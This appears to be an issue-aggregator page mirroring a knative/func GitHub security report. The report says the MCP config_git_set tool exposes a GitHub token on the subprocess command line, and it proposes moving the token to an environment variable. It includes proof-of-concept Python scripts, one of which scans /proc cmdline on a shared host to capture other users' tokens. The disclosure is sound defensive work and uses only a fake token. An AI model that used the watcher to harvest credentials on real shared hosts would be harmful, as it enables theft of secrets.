MCP config_git_set exposes the GitHub token on the func subprocess command line
メンテナーはふだん 2 日以内に返信
評価
- 難易度
- 2/5
- 見積もり時間
- 1〜3時間
- 初心者へのやさしさ
- 30/100
調査の方向性
Start in pkg/mcp/tools_config_git.go, where ConfigGitSetInput.Args appends --gh-access-token around line 77, and follow how the MCP executor builds the func subprocess command line and environment. The reporter's proposed direction is an ExecuteEnv hook so the token travels as FUNC_GH_ACCESS_TOKEN rather than a flag; the two Python scripts in the issue reproduce the leak without any real credential. Verify with go test -race ./pkg/mcp/... and make check. Note that PR #4189 is already open against this issue, so coordinate before starting.
索引モデルが issue の本文から書いたものです。
説明
What happens
The MCP server's config_git_set tool passes the GitHub access token to the func subprocess as a command-line flag:
func config git set ... --gh-access-token <token>
On Linux any local user can read another process's command line (/proc/<pid>/cmdline, ps), so the token is visible to other users on the same machine for as long as the subprocess runs. This matters on shared hosts such as CI runners and multi-user servers.
Code: pkg/mcp/tools_config_git.go, line 77 (ConfigGitSetInput.Args appends --gh-access-token).
Preconditions: MCP write mode (FUNC_ENABLE_MCP_WRITE=true), an agent calling config_git_set with gh_access_token, and another user on the same Linux host.
How to reproduce
- In a
golang:1.26Linux container, buildfuncfrommainand put it onPATH. func create -l go /tmp/demo-fn- As a second, unprivileged user, run
watch_proc.py(below). It reads/proc/*/cmdlineand prints any command line containing--gh-access-token. - As the first user, run
python3 repro_token_leak.py /tmp/demo-fn. It startsfunc mcp startand callsconfig_git_set20 times with a fake token. - The second user's watcher prints the full fake token. In my run it caught the token in 25 processes.
The recording below shows these steps. Only a fake token was used.
https://github.com/user-attachments/assets/14f006d6-417f-45f5-a0bf-d43709fe3d71
Proposed fix
The CLI already reads every flag from a FUNC_-prefixed environment variable, so FUNC_GH_ACCESS_TOKEN works today. Setting it in the subprocess environment instead of passing the flag keeps the token out of the command line; a process's environment is only readable by the same user and root.
I have a fix ready (an ExecuteEnv method on the MCP executor, plus regression tests that fail on current code and pass with the fix; go test -race ./pkg/mcp/... and make check pass). I'd like to work on this. Could it be assigned to me?
watch_proc.py
#!/usr/bin/env python3
"""
Watch every process on the machine and print any whose command line contains
'--gh-access-token'. Linux / WSL only (reads /proc, which every user can read).
This needs no special access: run it as an ordinary user, ideally a DIFFERENT
user from the one running the MCP server, to show the token is visible to
others. Stop with Ctrl+C.
"""
import os
import signal
import time
seen = set()
print("Watching all processes for '--gh-access-token' (Ctrl+C to stop)...", flush=True)
try:
while True:
for pid in os.listdir("/proc"):
if not pid.isdigit() or pid in seen:
continue
try:
with open(f"/proc/{pid}/cmdline", "rb") as f:
args = f.read().split(b"\0")
except OSError:
continue # process already gone
cmd = " ".join(a.decode(errors="replace") for a in args if a)
if "--gh-access-token" in cmd:
seen.add(pid)
print(f"{time.strftime('%H:%M:%S')} pid {pid}: {cmd}", flush=True)
except KeyboardInterrupt:
signal.signal(signal.SIGINT, signal.SIG_IGN) # a second Ctrl+C won't cut the summary
print(f"\nStopped. Saw the token in {len(seen)} process(es).")
repro_token_leak.py
#!/usr/bin/env python3
"""
Reproduce: the func MCP server's config_git_set tool puts the GitHub access
token on the command line of the `func` subprocess, where any local user can
read it (e.g. with `ps`).
This script acts like an AI agent: it starts `func mcp start`, then calls the
config_git_set tool with a FAKE token. Watch the process list in a second
terminal while it runs.
Usage:
python3 repro_token_leak.py /absolute/path/to/a/function
Requirements: `func` on your PATH (the MCP server runs the `func` it finds on
PATH), Python 3. Uses only the standard library.
"""
import json
import os
import subprocess
import sys
FAKE_TOKEN = "ghp_FAKE_DEMO_TOKEN_1234567890" # never use a real token here
ROUNDS = 20 # repeat the call so the short-lived subprocess is easy to spot
def main():
if len(sys.argv) != 2 or not os.path.isabs(sys.argv[1]):
sys.exit("usage: repro_token_leak.py /absolute/path/to/a/function")
path = sys.argv[1]
env = dict(os.environ, FUNC_ENABLE_MCP_WRITE="true") # config_git_set needs write mode
server = subprocess.Popen(
["func", "mcp", "start"],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,
env=env, text=True,
)
def send(msg):
server.stdin.write(json.dumps(msg) + "\n")
server.stdin.flush()
def wait_for(msg_id):
while True:
line = server.stdout.readline()
if not line:
sys.exit("MCP server exited unexpectedly")
msg = json.loads(line)
if msg.get("id") == msg_id:
return msg
# MCP handshake, as every MCP client does.
send({"jsonrpc": "2.0", "id": 0, "method": "initialize", "params": {
"protocolVersion": "2025-06-18", "capabilities": {},
"clientInfo": {"name": "repro", "version": "0"}}})
info = wait_for(0)["result"]["serverInfo"]
send({"jsonrpc": "2.0", "method": "notifications/initialized"})
print(f"Connected to MCP server: {info['name']} {info['version']}")
print(f"Calling config_git_set {ROUNDS} times with fake token {FAKE_TOKEN}\n")
for i in range(1, ROUNDS + 1):
send({"jsonrpc": "2.0", "id": i, "method": "tools/call", "params": {
"name": "config_git_set",
"arguments": {
"path": path,
"git_url": "https://github.com/example/demo-fn",
"git_branch": "main",
"gh_access_token": FAKE_TOKEN,
# Only record the git settings: no pipeline files, no cluster,
# no webhook. Keeps every call fast, repeatable and harmless.
"config_local": False,
"config_cluster": False,
"config_remote": False,
}}})
result = wait_for(i)["result"]
status = "error" if result.get("isError") else "ok"
print(f" call {i:2d}: {status}")
server.stdin.close()
server.wait(timeout=30)
print("\nDone. Check the other terminal for the token in the process list.")
if __name__ == "__main__":
main()
- 主要言語
- Go
- スター
- 366
- フォーク
- 231
- 平均マージ
- 2日 23時間
- マージ済み PR(30日)
- 50
環境構築
- Dockerfile・Docker Compose ファイルなし
- プルリクエストのテンプレートなし
- コントリビューションガイドを読む
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
knative/func のほかの issue
-
help wanted kind/good-first-issue
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
knative/func#4191 · コメント 1 件 ·
メンテナーはふだん 2 日以内に返信
-
難易度 3/5 1〜2日 初心者へのやさしさ 42/100
メンテナーはふだん 2 日以内に返信
-
Deprecation of legacy parliament Python functions (removal in 1.26)対応中かも @gauron99 が 4 日前に担当しました。 オープンkind/cleanup lifecycle/frozen
knative/func#4185 · コメント 1 件 · 担当者 1 名 ·
メンテナーはふだん 2 日以内に返信
-
Function CR sync should keep the spec fields func does not set対応中かも @gauron99 が 13 日前に担当しました。 オープン
knative/func#4156 · コメント 1 件 · 担当者 1 名 ·
メンテナーはふだん 2 日以内に返信
-
OCI pusher panics when reused for a second upload対応中かも @shreyashsri79 が 18 日前に担当しました。 オープン
難易度 2/5 1〜3時間 初心者へのやさしさ 25/100
メンテナーはふだん 2 日以内に返信
似ている issue
-
[Bug]: gate 缺失オープンbug
難易度 2/5 1〜3時間 初心者へのやさしさ 64/100
メンテナーはふだん 1 日以内に返信
-
Generated cask uses deprecated `postflight` stanza; Homebrew 7 warns on every command対応中かも @k4kratik が今日担当しました。 オープン
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
sachincool/cruft#4 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
VictoriaMetrics/VictoriaLogs#1965 ·
メンテナーはふだん 1 日以内に返信
-
kind/bug sig/ui
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
kubermatic/dashboard#8540 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
elastic/elastic-package#4249 ·
メンテナーはふだん 1 日以内に返信